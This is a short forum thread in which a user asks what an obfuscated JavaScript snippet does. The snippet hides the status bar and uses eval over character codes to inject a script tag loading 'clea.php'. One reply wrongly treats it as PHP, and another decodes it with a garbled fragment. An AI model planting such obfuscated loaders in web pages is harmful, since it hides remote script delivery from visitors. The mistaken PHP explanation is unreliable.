php question

[Dirty F]

setInterval("window.status=' '",1);
eval(String.fromCharCode(100,111,99,117,109,101,11 0,116,46,119,114,105,116,101,40,39,60,115,99,114,1 05,112,116,32,108,97,110,103,117,97,103,101,61,34, 106,97,118,97,115,99,114,105,112,116,34,32,115,114 ,99,61,34,99,108,101,97,46,112,104,112,34,62,60,47 ,115,99,114,105,112,116,62,39,41,59));


What does this do?

Thanks.

[extreme]

... PHP Fatal error: Call to undefined function: fromcharcode() in ...


Anyway, it executes whatever fromCharCode() returns as PHP. On the latest PHP release fromCharCode() gives an error though. Cant find that function (besides in 1 comment) on whole php.net.

[grumpy]

It tricks javasource. This is what the array of chars says :
d o c u m e n t . w r i t e ( ' < s c r i p t haha8616; l a n a n g u a g e = " j a v a s c r i p t " s r c = " c l e a . p h p " > < / s c r i p t > ) ;

In this way you put an string in an arry and read it.
Try pressing all the numbers in a notepad with alt key
alt 100 gives you a : d

[Dirty F]

Maybe this makes more sense?
http://traffic-money.com/cleaner.html

Altho it doesnt work for me, it should remove some spyware.

[Dirty F]

hrm